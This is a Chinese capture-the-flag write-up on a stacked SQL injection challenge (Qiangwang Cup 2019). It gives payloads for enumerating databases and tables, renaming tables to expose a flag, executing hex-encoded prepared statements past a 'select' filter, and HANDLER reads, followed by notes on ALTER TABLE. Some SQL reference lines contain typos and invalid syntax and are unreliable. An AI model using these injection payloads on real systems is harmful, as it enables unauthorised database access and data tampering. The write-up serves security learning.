1' or 1=1 #
1' order by 1 #
1' union select 1,2#
先通过show databases爆出数据库。
0'; show databases; #
0'; show tables; #
1'; show columns from words; #
这里学到一个新知识点,表名为数字时,要用反引号包起来查询。
0'; show columns from `1919810931114514 `; #
可以发现爆出来了flag字段,然而我对于flag毫无办法,只能看看别人写的writeup了,膜拜大佬。
借鉴 : 强网杯2019随便注
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words; alert table words
add id int unsigned not Null auto_increment primary key ; alert table words change flag data
varchar(100); #
借鉴buuoj强网杯2019随便注
因为select被过滤了,所以先将select * from ` 1919810931114514
`进行16进制编码
再通过构造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
进而得到flag
寒假之后打了打i春秋的比赛,里面的一道web题black_list简直就是这道题的进化版,当时实在做不出来。。。还是太菜了
比赛后复现用的payload:
1'; handler `FlagHere` open as `a`; handler `a` read next;#
后来在buu上做时发现了payload2,貌似要复杂一点:
1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
先总结这道题学会的新知识 alert ,show 和 SQL约束 。
在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。
作用:修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop )
用法:
alter table " table_name" add " column_name" type;
alter table " table_name" drop " column_name" type;
alter table " table_name" alter column " column_name" type;
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";
alter table persons modify age int not null;//设置 not null 约束 。
alter table person modify age int null;//取消 null 约束。
alter table persons add age primary key (id)
alter table person add unique (id);//增加unique约束。
alter table person add check (id>0);
alter table person alter city set default 'chengdu' ;//mysql
alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access
auto_increment-自动赋值,默认从1开始。
foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。